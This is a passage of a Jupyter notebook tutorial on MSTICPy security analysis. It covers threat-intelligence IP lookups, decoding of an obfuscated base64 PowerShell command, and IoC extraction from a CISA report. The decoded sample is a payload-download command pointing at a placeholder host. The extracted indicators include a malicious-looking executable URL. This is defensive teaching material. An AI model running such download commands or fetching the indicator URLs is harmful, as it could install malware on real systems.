&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-03-21T07:52:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-03-22T07:54:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-06-06T06:52:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-07-11T06:52:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-07-11T06:53:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'deleted':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0/14',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1}],<br>&nbsp;'ip':&nbsp;'40.76.220.11',<br>&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;location&nbsp;mapping&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'of&nbsp;the&nbsp;IP.',<br>&nbsp;'score':&nbsp;1,<br>&nbsp;'subnets':&nbsp;[{'asns':&nbsp;{'8075':&nbsp;{'cidr':&nbsp;10,&nbsp;'removed':&nbsp;True}},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-07-11T06:53:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.64.0.0',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason_removed':&nbsp;True,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'subnet':&nbsp;'40.64.0.0/10'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{'asns':&nbsp;{'8075':&nbsp;{'Company':&nbsp;'MICROSOFT-CORP-MSN-AS-BLOCK,&nbsp;US',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cidr':&nbsp;14}},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'categoryDescriptions':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'cats':&nbsp;{},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'created':&nbsp;'2020-07-11T06:52:00.000Z',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'geo':&nbsp;{'country':&nbsp;'United&nbsp;States',&nbsp;'countrycode':&nbsp;'US'},<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'ip':&nbsp;'40.76.0.0',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reason':&nbsp;'Regional&nbsp;Internet&nbsp;Registry',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'reasonDescription':&nbsp;'One&nbsp;of&nbsp;the&nbsp;five&nbsp;RIRs&nbsp;announced&nbsp;a&nbsp;(new)&nbsp;'<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'location&nbsp;mapping&nbsp;of&nbsp;the&nbsp;IP.',<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'score':&nbsp;1,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'subnet':&nbsp;'40.76.0.0/14'}],<br>&nbsp;'tags':&nbsp;[]}</pre>\n",
       "        </details>\n",
       "        "
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "ti_results = ti.lookup_iocs(logons_df[[\"IPAddress\"]].drop_duplicates().head(), \"IPAddress\")\r\n",
    "\r\n",
    "ti.browse_results(ti_results, severities=[\"information\", \"warning\", \"high\"])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Learn more:\r\n",
    "\r\n",
    "MSTICPy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](https://msticpy.readthedocs.io/en/latest/DataEnrichment.html)."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Analyzing data\r\n",
    "\r\n",
    "With the data we have collected we may wish to perform some analysis on it in order to better understand it.\r\n",
    "\r\n",
    "MSTICPy includes a number of features to help with this, and there are a vast array of other data analysis capabilities available via Python ranging from simple processes to complex ML models.\r\n",
    "\r\n",
    "We will start simply and look at how we can decode some obfuscated command lines, so that we understand their content."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>0</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>reference</th>\n",
       "      <td>(, 1., 1)</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>original_string</th>\n",
       "      <td>SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>file_name</th>\n",
       "      <td>unknown</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>file_type</th>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>input_bytes</th>\n",
       "      <td>b'Invoke-WebRequest https://contoso.com/malware -OutFile C:\\\\malware.exe'</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>decoded_string</th>\n",
       "      <td>Invoke-WebRequest https://contoso.com/malware -OutFile C:\\malware.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>encoding_type</th>\n",
       "      <td>utf-8</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>file_hashes</th>\n",
       "      <td>{'md5': '5845a06d7f52b1818a088e889df95c77', 'sha1': '1c31052c4aabb853777c1ce74943cafe27bb1d42', ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>md5</th>\n",
       "      <td>5845a06d7f52b1818a088e889df95c77</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>sha1</th>\n",
       "      <td>1c31052c4aabb853777c1ce74943cafe27bb1d42</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>sha256</th>\n",
       "      <td>7054dcebb2f74492c06f4ba89cac8e7e99b44e1a6029e0ad403aab9bb7503d8c</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>printable_bytes</th>\n",
       "      <td>49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 6f 73 ...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                                                                                   0\n",
       "reference                                                                                                  (, 1., 1)\n",
       "original_string         SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl\n",
       "file_name                                                                                                    unknown\n",
       "file_type                                                                                                       None\n",
       "input_bytes                                b'Invoke-WebRequest https://contoso.com/malware -OutFile C:\\\\malware.exe'\n",
       "decoded_string                                 Invoke-WebRequest https://contoso.com/malware -OutFile C:\\malware.exe\n",
       "encoding_type                                                                                                  utf-8\n",
       "file_hashes      {'md5': '5845a06d7f52b1818a088e889df95c77', 'sha1': '1c31052c4aabb853777c1ce74943cafe27bb1d42', ...\n",
       "md5                                                                                 5845a06d7f52b1818a088e889df95c77\n",
       "sha1                                                                        1c31052c4aabb853777c1ce74943cafe27bb1d42\n",
       "sha256                                              7054dcebb2f74492c06f4ba89cac8e7e99b44e1a6029e0ad403aab9bb7503d8c\n",
       "printable_bytes  49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 74 6f 73 ..."
      ]
     },
     "execution_count": 29,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from msticpy.sectools import base64unpack as b64\n",
    "# Take our encoded Powershell Command\n",
    "b64_cmd = \"powershell.exe -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl\"\n",
    "# Unpack the Base64 encoded elements\n",
    "unpack_txt = b64.unpack(input_string=b64_cmd)\n",
    "# Display our results and transform for easier reading\n",
    "unpack_txt[1].T"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can also use MSTICpy to extract Indicators of Compromise (IoCs) from a dataset.\r\n",
    "\r\n",
    "The IoCExtract class makes it easy to extract and match on a set of IoCs within our data.\r\n",
    "\r\n",
    "In the example below we take a US Cybersecurity & Infrastructure Security Agency (CISA) report and extract all domains listed in the report."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 30,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['http://stix.mitre.org/stix-1',\n",
       " 'http://www.us-cert.gov/sites/default/files/STIX_Namespace/ciscp_vocab_v1.1.1.xsd',\n",
       " 'http://cybox.mitre.org/objects#AddressObject-2',\n",
       " 'http://216.170.123.111/filenew.exe',\n",
       " 'http://data-marking.mitre.org/Marking-1']"
      ]
     },
     "execution_count": 30,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import requests\r\n",
    "# Set up our IoCExtract oject\r\n",
    "ioc_extractor = IoCExtract()\r\n",
    "# Download our threat report\r\n",
    "data = requests.get(\"https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml\")\r\n",
    "# Extract URLs listed in our report\r\n",
    "iocs = ioc_extractor.extract(data.text, ioc_types=\"url\")['url']\r\n",
    "# Display the first 5 iocs found in our report\r\n",
    "list(iocs)[:5]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Learn more:\r\n",
    "\r\n",
    "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\r\n",
    " - [MSITCpy DataAnalysis documentation](https://msticpy.readthedocs.io/en/latest/DataAnalysis.html)\r\n",
    " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](https://scikit-learn.org/stable/tutorial/basic/tutorial.html)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\r\n",
    "\r\n",
    "# Pivot Functions\r\n",
    "\r\n",
    "Pivot functions use the concept of Cyber Entities to group MSTICPy functionality\r\n",
    "logically.\r\n",
    "\r\n",
    "An entity is something like an Account, IP Address or Host, and has one or more\r\n",
    "identifying properties.\r\n",
    "\r\n",
    "Pivot functions are methods of *Entities* that provide quick access to:\r\n",
    "\r\n",
    "- data queries related to an entity\r\n",
    "- enrichment functions relevant to that entity\r\n",
    "\r\n",
    "Pivot functions are dynamically attached to entities - so we need to\r\n",
    "load the Pivot library to initialize this\r\n",
    "\r\n",
    "## Motivations for Pivot functions\r\n",
    "\r\n",
    "- We had built a lot of functionality in MSTICPy for querying and enrichment\r\n",
    "- A lot of the functions had inconsistent type/parameter signatures\r\n",
    "- There was no easy discovery mechanism for these functions - you had to know!\r\n",
    "- Using entities as pivot points is a \"natural\" investigation pattern\r\n",
    "\r\n",
